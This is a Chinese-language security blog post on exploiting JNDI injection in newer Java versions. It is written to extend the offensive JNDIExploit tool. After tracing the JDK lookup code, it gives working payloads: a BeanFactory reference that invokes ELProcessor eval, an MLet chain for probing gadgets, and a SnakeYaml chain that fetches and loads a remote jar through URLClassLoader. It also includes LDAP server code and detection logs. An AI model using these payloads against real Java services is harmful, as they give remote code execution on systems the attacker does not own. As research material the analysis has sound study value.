JNDI高版本的利用

本文主要是对上篇文章的一些补充,主要目的是完善目前所使用的JNDI利用工具。

前文中已经提及到高版本的利用方式:反序列化,不过并没有去深入的讨论其利用场景。除去常规的CC链之类的直接触发命令执行之外,其在反序列化时还会根据序列化的对象类型及属性触发其他分支,加载本地类从而触发代码执行,本文主要内容就是分析该流程,并借助现有链完善利用工具。

流程分析

已然确定是反序列化,所以我们直接在com.sun.jndi.ldap.Obj#decodeObject之后分析下代码,反序列化后的对象会传入javax.naming.spi#getObjectInstance

1
2
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment, Attributes attrs)

也就是参数中的refInfo,首先要满足条件refInfo继承自Reference或者是Referenceable,其次是其classFactory属性不为空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
ref, name, nameCtx, environment, attrs);
} else if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

}
......

跟进getObjectFactoryFromReference,这个函数其实在codebase时也使用过,在trustURLCodebase时可以远程加载类,而如果本地存在的类则可以直接加载:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

通过此函数我们就得到了一个本地类名为classFactory指定的且存在无参构造函数的类的实例。回到getObjectInstance,获得实例后会执行其getObjectInstance函数,如果该函数内存在恶意函数,就可以达成恶意代码执行的效果,至此流程分析告一段落,接下来便是具体的一些利用手段。

利用

最常用的利用方式要数org.apache.naming.factory.BeanFactory,其没有构造函数,及默认使用无参构造函数,且实现了getObjectInstance,不过它要求传入的Object继承ResourceRef,看它的构造函数

1
2
3
public ResourceRef(String resourceClass, String description,
String scope, String auth, boolean singleton,
String factory, String factoryLocation)

为了满足利用条件,首先可以构造如下实例:

1
2
ResourceRef ref = new ResourceRef("", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);

回到org.apache.naming.factory.BeanFactory并继续跟进,可以发现其会根据ref继续加载一个类并进行实例化,所以实例就可以是

1
2
ResourceRef ref = new ResourceRef("class", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);

之后其会根据forceString获取刚才加载类中的方法并存入Map

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<>();
String value;

if (ra != null) {
value = (String)ra.getContent();
Class<?> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index;

/* Items are given as comma separated list */
for (String param: value.split(",")) {
param = param.trim();
/* A single item can either be of the form name=method
* or just a property name (and we will use a standard
* setter) */
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
try {
forced.put(param,
beanClass.getMethod(setterName, paramTypes));
} catch (NoSuchMethodException|SecurityException ex) {
throw new NamingException
("Forced String setter " + setterName +
" not found for property " + param);
}
}
}

所以如果存在eval(String poc)这样的函数就可以通过如下方式加入ref

1
ref.add(new StringRefAddr("forceString", "x=eval"));

force中便存放了x->eval(String)这样的映射,之后如果ref中还存在有别的元素则会判断其索引是否在force中存在,如果有则调用对应的方法,所以为了执行eval,此时还需要加入

1
ref.add(new StringRefAddr("x","code"));

为了达成上述操作,我们需要找到一个类,其存在一个可以被恶意利用的方法,并且该方法只有一个字符串类型的参数,恰好javax.el.ELProcessoreval函数就满足了上述条件,所以综合起来我们的payload就是:

1
2
3
4
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x","code"));

拓展

前段时间,浅蓝师傅提出了多个利用方式,刚好给目前使用的JNDIEXploit做一些改进

MLet

payload如下:

1
2
3
4
5
6
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/"));
ref.add(new StringRefAddr("c", "Blue"));

为了自定义检测,只需要把第一次loadClass的类设置为自定义,同时访问的URL也设置为自定义的即可,具体实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a", gadge));
ref.add(new StringRefAddr("b", proto+"://" + domain));
ref.add(new StringRefAddr("c", "Blue"));
e.addAttribute("javaSerializedData", Util.serialize(ref));

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));

实际检测效果:

1
2
3
4
5
6
7
8
9
10
11
12
ldap://127.0.0.1:1389/checkgadge/javax.el.ELProcessor/http/127.0.0.1:8889/javax.el.ELProcessor

[+] Received LDAP Query: checkgadge/javax.el.ELProcessor/http/127.0.0.1:8889/javax.el.ELProcessor
[+] Gadge: javax.el.ELProcessor
[+] Sending LDAP ResourceRef result for checkgadge/javax.el.ELProcessor/http/127.0.0.1:8889/javax.esl.ELProcessor with javax.management.loading.MLet payload
[+] New HTTP Request From /127.0.0.1:60017 /javax.esl.elprocessor
[!] Response Code: 404

ldap://127.0.0.1:1389/checkgadge/javax.els.ELProcessor/http/127.0.0.1:8889/javax.el.ELsProcessor
[+] Received LDAP Query: checkgadge/javax.esl.ELProcessor/http/127.0.0.1:8889
[+] Gadge: javax.esl.ELProcessor
[+] Sending LDAP ResourceRef result for checkgadge/javax.els.ELProcessor/http/127.0.0.1:8889/javax.el.ELsProcessor with javax.management.loading.MLet payload

当链存在时http服务会收到请求,而不存在时则不会收到请求。

SnakeYaml

同上,只不过ResourceRef内容改为:

1
2
3
4
5
6
7
8
9
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/exp.jar\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));

只需要加载地址可控即可,这里本来想借用JNDIExploit本身的模版,但是由于漏洞利用要求加载的类继承自ScriptEngineFactory,所以还需要重新定义模板,除此之外漏洞利用阶段会请求META-INF/services/javax.script.ScriptEngineFactory两次,第一次是head请求,HttpExchange如何处理head请求还没研究,暂时还没有实现。

其他的实现都大同小异,这里就不再赘述。

参考